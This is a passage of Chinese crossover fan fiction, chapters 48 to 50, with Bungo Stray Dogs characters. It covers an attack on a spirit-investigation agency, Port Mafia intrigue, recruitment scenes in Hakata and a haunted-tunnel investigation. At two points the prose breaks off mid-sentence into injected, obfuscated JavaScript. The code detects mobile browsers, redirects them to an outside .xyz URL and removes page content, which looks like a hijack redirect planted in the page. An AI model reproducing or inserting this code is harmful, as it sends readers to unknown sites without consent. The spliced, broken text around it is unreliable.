听到这句话,坂口安吾内心先是一咯噔,紧接着反应过来——有什么好咯噔的,他异能特务科卧底明牌,过了社长明路的,怕什么? “对,不满,说的就是你,太宰,赶快起来啊你!” 太宰治:…… “噗——” 坂口安吾:…… 谁来管管,就问谁来管管? 配合了一会儿两人游戏的织田作之助终于开口,“太宰,我要起来了。”他之前一直没动,是不想将太宰直接从自己背上掀下去,而且,两个人玩的很开心的样子。 太宰治于是轻巧的跳开。 织田作之助起身,顺便拉了一把被自己压了半天的坂口安吾。 探灵社的二层。 他们回来了。 织田作之助看向坂口安吾,“安吾,夏目他……”在哪? 话没说完,织田作之助的异能力忽然发动。 【天衣无缝】 织田作之助立刻动了起来,他一边一个拽住两个人,爆发力极强的向着不远处的楼梯口冲刺,两人被他借着惯性直接丢了下去,下一瞬间,织田作之助也跟着跳了过来。 坂口安吾懵逼的护住自己的头,一路滚下楼梯。 “夏目!” 没有,无论是哪一次的预知,无论做什么选择,异能所能看见的未来里,都没有夏目。 可坂口安吾在其中一次预知中的回答是——夏目在一楼。 高/爆/弹,RPG袭击。 随着一声巨响,木制结构的房屋几乎被整个震碎,楼板碎成了渣,织田作之助护住了太宰治与坂口安吾,在一片狼藉当中,高喊夏目的名字。 烟尘混合着木屑飞舞,反应过来发生什么的坂口安吾捂住口鼻,立刻掏出手机,“我马上叫增援!” 太宰治按下了他的手机。 他的额头在流血,手臂上扎进了一个尖锐的木片——在滚下楼梯的过程中,他并没有好好保护自己,甚至,在爆炸时,如果不是织田作之助将他拉到了安全的角落,他会被坠落的木制装饰直接砸中脑袋。 坂口安吾一脸不解的看太宰治。 织田作之助不知道从什么地方摸出了枪,脸色罕见的带上了压迫力,“有人来了。” 不是熟悉的脚步声。 一个小队,人数是五人。 织田作之助打开了保险,他刚刚呼喊夏目时已经暴露了位置,现在必须立刻转移。 48.四十八 “Boss?” 办公桌上多了四枚子弹,高精度步枪弹,70mm,点388,中远程狙击常用类型。 横滨地下世界小帮派多用51mm点308温彻斯特,拥有338储备的,只有港/黑。 明面上只有□□。 当然,这个明面上指的是——太宰泄题的前提条件下。 “尾崎阁下,你说……”森鸥外双手指尖相抵,微微垂眸,神情莫测,“……你说,他知道了多少?” 这个他用的很巧妙,即可以指夏目,更可以指太宰治。 利用信息差转移注意力,将矛盾外放到其他组织。这个组织不能是个一碰就散的小组织,它得有足够的能力,应对那些人的攻击。 至少得撑过自己将港口黑手党内部清扫干净的这段时间。 原本的首选是武装侦探社,但…… “妾身可说不准,”尾崎红叶以扇掩唇,“只是……” “只是?” “妾身认为,探灵社那位夏目社长的目的,或许并不仅仅只是将港口黑手党排除在外那么简单。” 不要碍事。 听起来像是小孩子争执中脱口而出的没什么威慑力的可爱威胁,比起威胁,甚至更像是在撒娇。 怎么可能是撒娇。 森鸥外的手指在四枚子弹上划过。 “黑衣组织,已知明面上渗透进来的组织,有政/府官员在为他们扫尾……” “不明势力,寻找特定实验对象,散播‘长生不老药’……” “现在,第三个出现了。” 四枚子弹,三个势力。这三个势力相互之间似乎有合作,却似乎并不那么友好。 擂钵街失踪的人,荒霸吐,食人鬼,探灵社……神秘侧,这些关键词之间,又有什么联系? 森鸥外的指尖停在第四枚子弹上方。 “销毁证据……” 销毁什么证据? 在他不知道的地方,发生了什么? 探灵社接触到的,还有什么东西? …… “你说得对,尾崎阁下。” 夏目这次派人过来,并不是为将港口黑手党排除在外而来。在横滨的地下世界,无论是谁,做什么,都绕不开港口黑手党,更别说什么排除在外。除了小小的口头争锋以外,他真正的目的—— “是提示。” 之前将羊那边的情况试图嫁祸在他的头上也好,还是这次,袭击探灵社却留下与港口黑手党有关的证物也好,做的都不那么仔细,却足够用了。 “有些时候,只需要种下一点小小的、怀疑的种子。” 托先代首领的福,羊组织本身就对港口黑手党充满抵触和负面情绪,探灵社与港/黑虽然有合作,但并不牢靠,武装侦探社天然与港口黑手党对立。 “冲我来的啊……” 森鸥外感慨。 会是谁呢? 对方有些着急了,在眼见他即将获得中原中也这样的战力以后,不得不选择提前动手。 不太聪明的样子。 如果夏目是那种只会被表象蒙蔽的家伙,探灵社现在已经是自己的拥簇了,还用得着别人来挑拨离间? 森鸥外的脑海里划过一张张脸。 就在这时,闭合的大门外传来了敲击声。森鸥外看了眼大门,在尾崎红叶询问的目光下,微微抬了抬下巴示意。 尾崎红叶走过去,拉开了门。 是去而复返的坂口安吾。 森鸥外微微扬眉,“坂口君?” 坂口安吾站在门口,并没有进来的意思,“忘了说,那四枚子弹,是刚回到横滨时,有人袭击遗留的东西,那些人见开枪没用就撤离了,连枪都没带,”他语速较快,“遗留的枪目前作为证物,都在警视厅。” 森鸥外微微睁大眼。 坂口安吾说完,立刻告辞。 大门再次关闭。 …… “原来如此。” 森鸥外喃喃。 “勾结外敌,试图搅乱港口黑手党现状。” 只能是他了。 尾崎红叶重新回到森鸥外身边,“boss?” 森鸥外笑了笑,“尾崎阁下,夏目阁下可是送了我好大一份礼啊……” 设计将太宰治重新拉回□□的动作,可以停一停了。 至少现在,先停一停。 “联系干部们,新首领上任这么久,是时候开个会了。” 只是……仅仅确认了叛徒是谁还远远不够,想要将中原中也收入囊中,那么,中原中也目前所面临的困境,总得有人解决。这个解决的人,不是他自己,也必须和他有关。 “只能二选一了么……” 尾崎红叶离开后,森鸥外的身边,出现了一名女性。 “爱丽丝,夏目阁下为了将太宰君从我身边挖走,可真是,不遗余力啊……”森鸥外有些委屈的说道。 高冷爱丽丝御姐一言不发,只是给森鸥外一个冷漠的斜视。 —————— “……” “……” “那个,你好。” “你好。” “……” “……不要这样,二次见面,也算是熟人了,放松一点放松一点。” “他就那样,”千寻抱着胳膊,坐在卡座的一角,“习惯就好。” 一家快餐店,半夜。 博多的街道和横滨有的一拼,半夜很少见正常行人出行,只有醉汉和看起来就不怎么好惹的人三三两两路过。这个时间,开门的店也很少,除了一些特殊营业场所以外,只有快餐店。 “那个,自我介绍一下,我叫马场善治,目前经营一家侦探事务所,偶尔兼职律师的工作。” 说话的人有一头略卷的头发,表情讪讪。 “你好,我叫夏楠,目前经营一家探灵社,偶尔兼职各种顾问工作。” 夏楠仿照对方的句式,自我介绍。 “我说,现在是什么联谊现场吗?你们两个是在相亲吗?”千寻在一边冷着脸吐槽。 “啊哈哈……怎么可能,我喜欢的可是软软的妹子啊,”马场挠了挠脑袋,“那个,所以,你们两个大晚上把我叫出来的原因是?” “阁下有跳槽的打算么?” 马场善治:…… “抱歉,目前没有,我还是比较喜欢自由的工作时间。” “你果然有收集癖吧,这家伙不是和织田撞人设了吗?”千寻继续吐槽,“前传说中的杀手从良什么的。” “喂喂,不要这样乱说出来啊啊啊!”马场善治捂住千寻的嘴,朝着夏楠讪笑,“不好意思不好意思,榎田这家伙就喜欢乱说话,你就当没听见,没听见,啊哈哈哈……” 夏楠笑了笑,“有个委托。” 马场善治一秒严肃,“请说。” “保护好千寻。” 千寻一愣。 马场善治同样一愣。 “你惹到什么人了?” 马场善治迟疑看了一眼脸色不好的千寻,“连千寻……我是说,榎田,都需要人保护?” 世界前三的黑客,行踪很难有人能查清楚,千寻自己的反侦察意识极强,走到哪里,对身边三个街区以内的情况都能做到了如指掌,还有人能对他出手? 那得是多大的势力…… 至少在博多,据马场了解,并没有这样的本土势力。 只能是外来者了。 “我没有,我很无辜,”夏楠微微歪头,“只是太优秀,总会有人觊觎。” 马场善治:…… 啊对。 千寻脸色很臭,他开口,“早就和你说过,不要和那个组织起冲突,他们很难搞!” “我真的很无辜啊,”夏楠撑着下巴,“是他们自己撞上门的。” “你们说的到底是……?” 千寻开口,“一个国际组织,拥有多家生物医药研究室,掌握了许多专利,与多国政要和财团有不同程度的合作……” 马场善治点点头,“这听起来不是挺正常吗?” “我还没说完,”千寻翻了个白眼,“操纵小国选举,暗/杀/政敌,贩卖/军/火、毒/品,人口/买卖,人体/实验……”千寻的脸色真的很差,“……他们是政客与财团们资助的刀,是盘踞在在整个社会黑暗面当中的蝰蛇,拥有极其庞大的地下网络。你以为这样的组织,这样的庞然大物,是随随便便就可以被清理掉的吗?” “仅凭几个异能力者?还是仅凭你自己?” 千寻看着夏楠,咬牙,“连钟塔侍从都和他们有合作!” 夏楠托着腮,嗯了一声。 千寻:…… 他愤愤,“我当初就不该去横滨!” “千寻不想要我了吗?” “……你好好说话!” “我有在好好说话啊,”夏楠弯起眼睛,“千寻讨厌探灵社吗?” 马场善治在一边默默吃了会儿瓜,这会儿又默默举手发言,“那个,我觉得,千寻……我是说,榎田,他可能大概或许,其实是在担心你。” “我知道,”夏楠说道,“所以顺路过来安排一下,毕竟探灵社都敢炸,他们比我想象的没脑子一些。” 马场善治:“探灵社被炸了?!” “对,就在中午。” 马场善治表情纠结:“……你们横滨,还挺新潮哈。” “的确,”夏楠认同,“还有大中午炸交番所的,可能不法分子们就是喜欢在这个时间炸一炸吧。” 马场善治:…… 这么水深火热的吗?比博多还夸张了。 夏楠已经换回了主题,“我接下来有个比较重要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840431|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 委托,不是很有时间关注社员们的安全情况,所以……” 马场善治点了点头,“我明白了,如果只是保护委托的话,可以。” “多谢,”夏楠坐直了,“委托金多少,我转给你。” “不用,”千寻开口,“你的下个委托,我跟你一起。” 夏楠看向千寻,“你确定?” 千寻抿了抿嘴,“在哪里都不如在你身边安全吧,现在。” “你不是在躲他们吗?” 千寻:…… 他咬牙,“你果然知道!” “嗯……”夏楠眨了眨眼,“其实只是刚刚知道,千寻真好诈啊……” 马场善治再次举手,“你好,请问,这里还有个人呢,可以不要打哑迷吗?” 千寻恶狠狠瞪了一会儿夏楠,开口,“也没什么,就是以前和一个讨人厌的家伙一起黑进了他们的资料库,结果那个家伙叛变,加入他们,把我卖了。” 马场善治啊了一声,“所以你离家出走,是不想给家里添麻烦?” 千寻:…… “不,我只是想过自己的生活。” “是是是对对对,”马场善治换了一脸溺爱,“你说的都对。” 千寻:…… 他不再看马场,转向夏楠,“你有把握吗?” “嗯?” “有把握干掉他们吗?就算干不掉,让他们元气大伤也不是不行。” 夏楠笑了笑,“知道为什么他们只能是地下世界的蝰蛇么?” 千寻不说话了。 马场善治看看这个,再看看那个,伸了个懒腰,“哎呀,看来这里没我什么事了,”他站起身,“那我就先回去?家里还有一个委托人等着投喂呢。” 夏楠指了指窗外,“是他么?” 马场善治顺着夏楠指的方向看过去,一个身材高挑,妆容靓丽的‘女性’正气势汹汹的朝着这边走来。 马场善治捂脸:“没错,是他。” 嗯…… 夏楠点了点下巴。 “需要帮忙吗?” “什么帮忙?” 是正好看过的番,又是种花人。 夏楠看向千寻。 千寻:…… “我已经查过了……” 夏楠的电话响了。 “……哦,是坂口安吾,你让他干什么去了?”千寻看了一眼自己面前的笔电屏幕。 “送礼。” 女装大佬已经冲到了桌边。 夏楠站起身,在对方说话之前,凑近对方的脸仔细看了看,接着,从口袋里摸出三枚硬币。 女装大佬强忍反击的警惕,“他什么情况?” 夏楠开始丢硬币,“今天第二次,不一定准,凑合看看吧。” 硬币在桌面滚动,接着,停住不动了。 夏楠凑近看了眼卦象,挑眉。他抬起头,“你的名字?” “哈?” “来做我的社员,我帮你找回妹妹。” 女装大佬瞬间立正,他满脸严肃,“你说的是真的?” “当然。” …… “林宪明,我叫林宪明。” 夏楠打了个响指,顺手从对方身上捞走了一根头发,“给我五分钟。” 他说着,离开座位,走向卫生间的方向。 林宪明:? 五分钟不到,夏楠从卫生间里出来,他身上的外套披在怀里抱着的人身上,明明看起来弱不禁风的样子,抱着人走路的动作却十分的稳当。 林宪明屏住呼吸,眼睛一眨不眨的看向夏楠怀里的人。露出的手臂上有针孔的痕迹,身上有淤青,裹着床单,闭着眼睛。 他向前走了一步。 “准备车,她需要医疗救助。” 夏楠言简意赅。 马场震惊的瞪大眼睛,他们才刚刚查到华九会,眼前的人却仅仅只是去了趟厕所,不到五分钟,就找到了人。 哈? 如果不是知道夏楠刚刚抵达博多,对夏楠有一点了解,他真的要以为对方就是直接参与绑/架的其中一员了。 “不好意思,有点赶时间,所以处理的比较粗糙,”夏楠说着,将怀里昏迷的女孩递给林宪明,“她不适合出现在明面上,至少在幕后的人被解决之前不适合。” 林宪明小心翼翼的接过夏楠怀里的女孩儿,瞳孔颤抖的看着对方带着伤痕的脸,“……她遭遇了什么?” “性/暴/力。” 夏楠的手空了出来,他看向千寻,“走吧,接下来还有别的事。” 千寻:…… 一边是感人中充斥着痛苦和悔恨的兄妹再会,一边是领导催促上岗,后续还会有各种麻烦,但领导要奔赴的是更加麻烦的剧目。 千寻,一款好用的黑客,第一次体会到了被上工裹挟的痛苦。 49.四十九 涉谷一也沉默片刻,又叹了口气,似乎妥协。 “这就是我接下来要讲的事,”他说着,“我在回国前,曾化名‘奥利弗戴维斯’在英国活动过一段时间,在那段时间,我展示过自己的灵能力,当时的数据和影像资料,很可能被某些机构记录并用作研究。” “就像你们能查到‘奥利弗戴维斯’是谁一样,”涉谷一也看了眼千寻,“其它组织,只要有能力,都能够查到。” 夜风吹拂,天边泛白。 日出就要来了。 “我的生物样本,可能已经被某个组织拿到手了。” “某个?”夏楠挑眉,“听起来涉谷先生有自己的猜测?” 涉谷一也沉默一会儿,“……是,我有。” “我的灵能力破坏力强,使用起来对身体的消耗很大……我曾经有过怀疑——” “怀疑它并不来自于自然孕育,而是后天激化。” “马丁戴维斯,你的父亲。” 千寻开口,他看向夏楠,“英国超心理学领域的权威专家,十年前受到那个组织的资助,成立了属于自己的研究所,三年前失踪。” 夏楠了然,“人体/实验?” 涉谷一也回答,“是,”他很平静,平静的仿佛在说的是别人的事,“我记事起,就参与过无数次的‘集会’,提高灵能力,提高感知能力。” “灵能力还能后天培养的?”千寻疑惑。 涉谷一也的嘴唇蠕动了两下,刻薄的讽刺在夏楠笑眯眯的注视下还是咽了回去。他无视了千寻,“说回南丽明的邀请,我察觉到,这个组织的背后有他的影子,”他顿了顿,“其实早在这之前,我就已经有收到类似的消息,那种无时无刻被什么令人作呕的东西窥视的感觉,我已经经历了十四年。” 太熟悉了,熟悉到一出现,就会立刻察觉到的程度。 “我之前要求与你单独交谈,也有这部分的原因。” 夏楠恍然,“你知道食人鬼。” “是,我曾经看到过他的研究资料,那里面,重点标注的文档里,就有‘远东食人鬼’这个词条,”涉谷一也微微皱眉,“但我查到的是,食人鬼早在百年前就已经被拔除了源头,不再具备感染和扩大族群的能力。” 夏楠点头,“的确是这样。” “但食人鬼还是再次出现了。” “是。” 涉谷一也垂眸,“在南丽明第一次联系之后的第二天,有人闯入了社内,带走了我们的头发。” 夏楠嗯了一声,“所以你想到了基因样本?” “没错,”涉谷一也继续说道,“所以我想到了基因样本,我在离开英国前,已经将家中和研究所当中所有有关于我自己的档案和样本全部销毁,而英国那边的心灵协会里,也仅仅只留存了数据和影像记录。” 夏楠沉吟,“你说第一次联系,他还联系了你第二次?” “对,第二次,也是最后一次。” 涉谷一也看向电话亭,“我的能力不稳定,这也是为什么林一直留在我身边的原因,他受人之托,看顾我,也限制我……” “……说回正题,第二次联系,在他被溺死的前一天,他在求助。” 涉谷一也重新看向夏楠,“他说,他原本想联系的是你,可电话没人接。” 夏楠唔了一声。 探灵社最近这段时间日常没人,没人接可太正常了。 “……没人接,所以退而求其次,找到了我。” “他在求助。” “而犬鸣村,就是他提到的地名。” 千寻的手指迅速开始动作,一边根据犬鸣村这个词在茫茫网络里锁定内容,一边开口,“你人还怪好的呢,那样的家伙像你求助,你说来就来了。” 涉谷一也:…… 他看着夏楠,“像他那样的人,绝不会真的将自己置于险境,除非有巨大的利益,或者……” 夏楠接口,“或者巨大的压力。” “没错,”涉谷一也似乎是松了一口气,“所以,我来了。” “你想知道幕后究竟是谁?”夏楠看着涉谷一也,“不怕是针对你的陷阱?” “你在这里,”涉谷一也回答,“如果没猜错的话,你也在调查食人鬼的事情,之前的视频里,那个被绑在担架上的人,是已经异化的人吧。” 夏楠有些意外,“这么相信我,才第二次见面?” 涉谷一也沉默。 过了一会儿,他说,“我能感觉到,我的体质,吸引灾厄,震慑灾厄,我就是被这样‘养’出来的,所以,我能感觉到。” “我能感觉到,你不一样。” 夏楠看了他一会儿,又往他身边扫了一眼。 “你和你的兄弟截然相反,你的感知能力应该很差才对。” 涉谷一也微微瞪大眼睛,有一瞬间,他似乎想要顺着夏楠看过去的方向转身,可最终,他还是控制住了,“……那个蠢货,还没走啊。” “找到了,”千寻忽然开口,“最近发生的与‘犬鸣村’相关的事件,有一对情侣博主,在发出要去犬鸣隧道探险的预告以后,就停更了。” 千寻将手机屏幕展示给夏楠,“情侣当中的女性已经确认死亡,死因是从高压电塔上坠落,是自杀,情侣当中的男性确认在水库溺/死,奇怪的是,男人被打捞上岸时,腿上抱着两具干/尸。男性的弟弟曾经和他一起失踪,但最后被找到了。” “还有男性的三名友人,两人被发现在电话亭内溺死,一人失踪。” 夏楠扫了眼千寻的手机屏幕,咦了一声。 “怎么了?” 嗯…… 夏楠四处看了看,“犬鸣隧道,离这里很近吗?” 涉谷一也回答,“过了桥再往前两百米左右。” 夏楠:…… 忘记了,当时光想着补眠,就算不补眠,他也完全没记路的习惯。 就在这附近么…… 察觉到夏楠的迟疑,千寻开口,“怎么了?” “青木原树海救援中心,离这里有多远?” “二十公里。” 还真是啊…… 夏楠默了默。 这种每走一步路,都有什么,在背后推动的感觉。 夏楠重新看向电话亭。 生物样本。 说起来,安室透接近迹部景吾的目的究竟是什么? “你怀疑‘让神秘不再神秘’组织与你失踪的父亲有关。” “是。” “你怀疑南丽明主动接触犬鸣村是因为那个组织的威逼利诱。” “是。” “你想要控制自己能力的方法。” …… 涉谷一也深深的看了一眼夏楠,“是。” 夏楠微笑,重新看向涉谷一也,“全都是你想要,涉谷先生,没有这样的买卖。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849145|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涉谷一也沉默。 “我可以付钱,价钱随你开。” “有些东西,不是金钱能买到的。” 涉谷一也再次沉默。 千寻微微眯眼,“我说,夏目,你这家伙,你不会吧?” 说你有集邮癖你还真有啊! 夏楠微微叹气,“总得有人干活,什么委托都是社长上算怎么个事儿,我很累的啊,我最近睡眠严重不足的。” 千寻:…… 他本想说让其他人来不就行了,可转念一想,探灵社里除了夏楠,好像还真没人能独立应对灵异事件。织田作之助?还没出师呢,跳过。太宰治无条件跳过,坂口安吾二五仔一个,还是跳过。吉川惠子倒是可以,如果那个什么呼吸法练好的话,但也只能做个打手,而且人还在产屋敷呢,继续跳过。 至于他自己,嗯…… 夏楠看着千寻变幻的表情,笑了一声,“你看,你也这么觉得,是不是?” 千寻:…… 夏楠发出了疲惫的声音,“我总是到处挖人,是因为人真的不够用啊,千寻。” “……行吧,你是社长,你说了算。” 集邮就集邮吧,也不缺这一款了。 听出两人什么意思的涉谷一也:…… 他仔细想了想,倒也不是不行。在探灵社,研究可以继续,安全有保障,能学习如何控制能力。他自身对金钱方面没什么太多的追求,够用就行。 “可以,”涉谷一也开口,“但是,我需要一段时间处理社里遗留的问题。” “嗯?”夏楠这次的笑显而易见的比之前走心,“不用,你可以继续你的涉谷事务所,只需要在必要的时候,留出时间处理总部,也就是探灵社,分派的委托。” 涉谷一也沉吟,“原来如此,是这种模式,涉谷事务所作为探灵社在涉谷的分社?” “可以这么理解。” “好,”涉谷一也下决定的速度很快,“具体的回去再谈。” “好哦。” “那么,我的要求?” 夏楠微笑,“具体的回去再谈,现在,是委托时间。” 天亮了。 —————— 犬鸣隧道前。 “唔啊,废弃隧道,看起来就很阴森。”滝川法生叉着腰,眯起眼,试图看向隧道更深处,“……不行,太黑了,什么都看不清。” “车开不进去,里面也不可能有电,只能用最原始的方法了吗?” 安静。 滝川法生默默站直,“唉——抛出去的梗没人接可真是一件让人难过的事。” 没人理他。 和尚难过的掏出手电筒,打算先头探路。 “你们都接了电话?” “是,怎么?” 夏楠微微抬头,看了看眼前落起很高的石块,整个隧道入口被石块堵了接近三分之二,只有顶部一点空间还能通过。他看了看几人,走上前,敲了敲石块。 沉闷的声响。 是属于现实的客观存在。 涉谷事务所的人反应过来,“你们看不到入口?” “能看到,但是被堵住了。” 千寻已经十分自觉的举起了摄像,“我们看到的是被堵住的隧道入口,倒是你们,你们看到了什么?” “就……”滝川法生回头看了眼黑漆漆的隧道,“……没被堵住的隧道入口?” 50.五十 “要帮忙吗?” …… “要。” 千寻正在往石块上爬,太高了,好在方正的石块垒的并不整齐,还有地方给他落脚,但依旧爬的艰难。对于一个日常并不怎么运动的人来说,已经算是转体翻腾三周半级别的高难度系数动作了。 而且,还有人围观。 经过商讨——夏楠说,大家听——为了防止走散,由夏楠与千寻先行翻进去,之后,涉谷一也等人再进入。 和尚看着千寻在什么都没有的半空表演努力攀爬但进度堪忧的一系列动作,实在没忍住,开口询问。得到肯定的回答后,上前帮忙托了一下千寻的脚。等人终于爬到顶端了,才又退开。 接下来是夏楠,不同于千寻,没什么热闹好看。看起来并不健硕与体能项目无缘的一个人,两下就完成了登顶,动作甚至还很好看,好看又写意。 千寻:…… 哼。 千寻拿出摄像,重新打开。两边的工作流程有些相似,探灵社这边的卡麦啦曼是千寻,涉谷事务所那边的卡麦拉曼是林兴徐与和尚轮流来做。 “来,尊敬的社长大人,解释一下我们现在在做什么?” 夏楠对着镜头笑了笑,“准备进入不同的时间。” “具体呢?” “具体……”夏楠摸出手电筒,他的口袋就像是机器猫的异次元口袋,看起来瘪瘪的,却什么都能摸出来,“……继续看就知道了。” “那么,我们也进去。” 涉谷一也开口,和尚打开了手电,林兴徐跟在最后,三人走进隧道。 千寻一路跟拍,眼睁睁看着三人仿佛穿墙一样没入石块,却并没有在石块另一端出现——他们不见了。 “开红外。” 千寻反应过来,立刻打开热感模式,拍摄画面里,瞬间多出三个人形。 “这么看还挺正常。” “嗯,”夏楠嗯了一声,率先跳下石块,来到隧道内,“走吧,我接你。” 千寻没扭捏,紧跟着跳下。 一路上遇到了许多东西,什么‘前方不归霓虹政府管辖’这种蒙蔽视听的牌子,一些新鲜的脚印,堆积又因为潮湿而黏糊糊的泥巴地面。千寻左拍拍,又拍拍,再拍拍走在前面的人。他们好像也在拍这边,确认并没有分散以后,才接着往前走。 穿过隧…… 夏楠与千寻停住了脚步。 他们的前方,是被泥土和碎石堵死的路,涉谷事务所的三人,却径直走了进去,仿佛没有遇到任何阻碍。 “怎么办?” 千寻问道。 摄像画面丢失了三个人的身影,他不死心的放大画面,依旧什么都没有。 夏楠开口,“等一下。” 声音带着一股诡异的穿透力,在隧道中回响。 前方的三人似乎注意到了他们没有继续跟,在夏楠的声音落下时,他们不再向前。 “怎么了?”涉谷一也问道。 他的声音无法跨越空间,却依旧被夏楠捕捉。 “我们没路了。” 夏楠回答。 千寻意识到什么,将镜头对准了夏楠。 那边,涉谷一也转述了夏楠的话。 和尚问道,“那怎么办,他们过不来,我们继续,还是先回去?” 隧道原本就是这样,因为坍塌而被废弃,又因为经常有人在这里失踪被堵上了入口,在现实的空间里,它的确只是这样一个地方。但接了电话亭凌晨两点电话的三人眼中,却不是如此。 “我们现在在一个村子里,破败,没有人,”涉谷一也开口,“至少看不到有人。” 一出隧道,他们就进入了一个荒废的村落,没有光线,周围十分昏暗,和尚用手电四处照射,看到的也只是腐朽的老旧建筑。 “先过来吧,带点东西再进去。” 涉谷事务所三个人退了过来,很顺利,十分顺利,除了因为空间交错彼此肉眼无法相见以外。 “这条隧道是空间交汇的节点,被标记的人在穿过隧道后,会被拉入另一个空间,”夏楠突然开口,他看着眼前的碎石与土堆,“我们过不去,”其实他能过去,但他暂时没有过去围观的打算,“你们带点东西,保持联系。” 明明就近在眼前,除了夏楠,两方人却只能通过热成像画面确认对方的存在。 “能被拍到,是不是证明他们现在其实还在现实,只是被‘幻觉遮掩’,肉眼无法辨认?”千寻问道,他好奇的伸手,那边,和尚十分配合的同时伸手,两人对了下拳。 “可以这么说,但并不是幻觉。” 千寻在夏楠的示意下取出几只备用蜘蛛,递给对面,对面三人迟疑接过,他眼睁睁看着蜘蛛消失在空气中,哇哦了一声。 夏楠继续解释,“还记得我之前说过的参数么?”他抬起一只手,“参数分两种,一种是客观参数,就像他们,他们的存在依旧可以被镜头捕捉,”接着,又举起另一只手,“还有一种,是主观参数,主观参数取决于观察者,就像现在,你看不到他们,他们也看不到你,说明观察者对客观事务的视觉捕捉参数被这里修改了。” “这个隧道,是连接不同空间的节点,就像插座,而我们,现在就站在插座上,”夏楠收回手,“他们是火线的电流,而我们,是前往地线的电流。” 涉谷事务所三人将蜘蛛装好。 “很新奇的说法,”涉谷一也沉吟,“所以,从连接节点开始,干涉就存在。” “对,也可以理解为同化过程。” 在千寻眼中,夏楠就像是在与空气对话。另一边,三人同样在与空气对话,但情况要好许多,他们都能听见声音,只是肉眼看不到真人。 “走吧,不会有问题。” 涉谷一也果断点头,三人重新走向‘隧道’深处。 千寻看着镜头中三个人形消失在面前,开口,“啊……走了,我们现在干什么?” 夏楠将手电照向一个方向。 千寻顺着光线看过去,“那是……” “一些人留给我们的赠礼。” 夏楠开口。 是一小块纸张碎屑,沾了些泥土,但看上去很新,应该是不久前留下的。 “那个什么……南丽明?” “或许。” 夏楠走过去,轻轻捡起碎屑,看了看。上面没有任何可辨认的信息,但是没关系,他有安吾。他收起纸屑,继续说道,“关于那个未知异能力者,千寻有查到什么么?” 千寻沉默了一下,开口,“有,但我没有继续深入。” “他们那边有相关能力的人?” “不,并不是。” 千寻看向夏楠,“是港口黑手党的IP,他们用港口黑手党的IP做中转。” 夏楠微微挑眉。 “不觉得就是港口黑手党?” 千寻翻了个白眼,“森林太郎没有那么蠢,刚刚上任,脚跟都没站稳就四处树敌。” 夏楠笑了笑。 “关于荒霸吐呢?” “最多查到擂钵街曾经有个秘密实验室,这种事不用脑子都能想到吧,”千寻说道,“后来实验室炸毁,一切资料都被销毁了,不过我认为……” “嗯?” 千寻继续说道,“以他们的作风,肯定会在什么地方保留了重点资料。” “他们?” 千寻看向夏楠,“知道猎犬吗?” 夏楠打了个问号。 “军警特殊部队,战争时期霓虹异能部队是他们的前身,他们所保护的秘密研究组织,之一。” “唔。” 夏楠随意发了音阶,示意千寻继续。 “七号机构,一个以研究异能与神秘侧为主的战时秘密研究组织。” 夏楠沉默。 “魏尔伦,全名保尔.魏尔伦,代号牧神,超越者……”千寻顿了顿,“你知道超越者吧?” “略有耳闻。” “嗯,总之,我是因为随便查了查港口黑手党,发现了一个叫兰波的家伙,顺路摸到了这个名字……” “然后查到了七号机构?”夏楠接话。 “对,”千寻撇撇嘴,“资料不明,钟塔侍从那边或许有,但他们的数据库不是随便能动的,这是我们业界公认的常识。” 夏楠沉吟,“你怀疑,是七号机构创造了‘荒霸吐’?” “我怎么知道,我只是觉得有可能,毕竟那样的东西,想要创造,需要巨量的资金支持和绝对严密的信息安全保障吧,”千寻开口,“毕竟明面上异能世界那边是禁止进行这类研究的。” “所以,国家主导的可能性很高。” “就是这样。” 千寻耸肩。 夏楠的目光往旁边看了一眼,他微微眯眼,“说起来,千寻有搬到横滨的想法吗?” “怎么突然这么问?” 夏楠抬起手,“为什么突然这么问?”他的手在空中随意一挥,“当然是因为,千寻真的很厉害。” 一道无形的裂口,千寻看不到的视界里,无数的线为夏楠这一挥让路。夏楠的手伸进空间的缝隙,那种黏稠又沉重的感觉再次袭来,千寻立刻退后到墙边,镜头对准了夏楠。 “不要拍。” “啊?……哦。” 千寻将镜头移开。 地面上的石子与泥土再次开始震动,夏楠微微眯眼。 不行,这里的空间连接并不稳,涉谷一也他们还在另一个世界里。 他停手了。 还没来得及收拢的无形裂口当中,尽头,平稳的空间,正常的秩序,有些古怪,但夏楠暂时无法判定为什么会有这样的感觉。 那边有人。 夏楠知道那边有人。 “就是你吧。” 幕后的推手。 裂口合拢。 夏楠感知了一下——消失了,并不是直接与这个世界相连的线。那是一个独立的,拥有完整规则与逻辑的,世界。 “好。” 夏楠笑了。 “很好。” 他的手中多了一枚戒指,朴素的银环,没有任何记号。 终于抓到你了。 我的系统。 —————— “这里……该不会是犬鸣村被清空以后、水坝还没有建起来的时间段吧。” 没有人。 滝川法生走进一间废弃的房子,四下看了看,“真的什么都没有啊……”他踢了一下脚边的藤编小筐,里面是空的。 “……咦?” 手电的光线照向废弃房屋另一侧的窗户,滝川法生微微眯眼,“那是……” 笼子? 做什么用的? 想到犬鸣村的生计来源,他猜测——关狗? 滝川法生走出房门,打算绕到那边看看。 目前为止,一切都很正常。村子不大,三人分头行动,滝川法生旁边那间废弃房屋是林兴徐在搜索,这会儿,人也走了出来。 “林桑,有什么发现?” 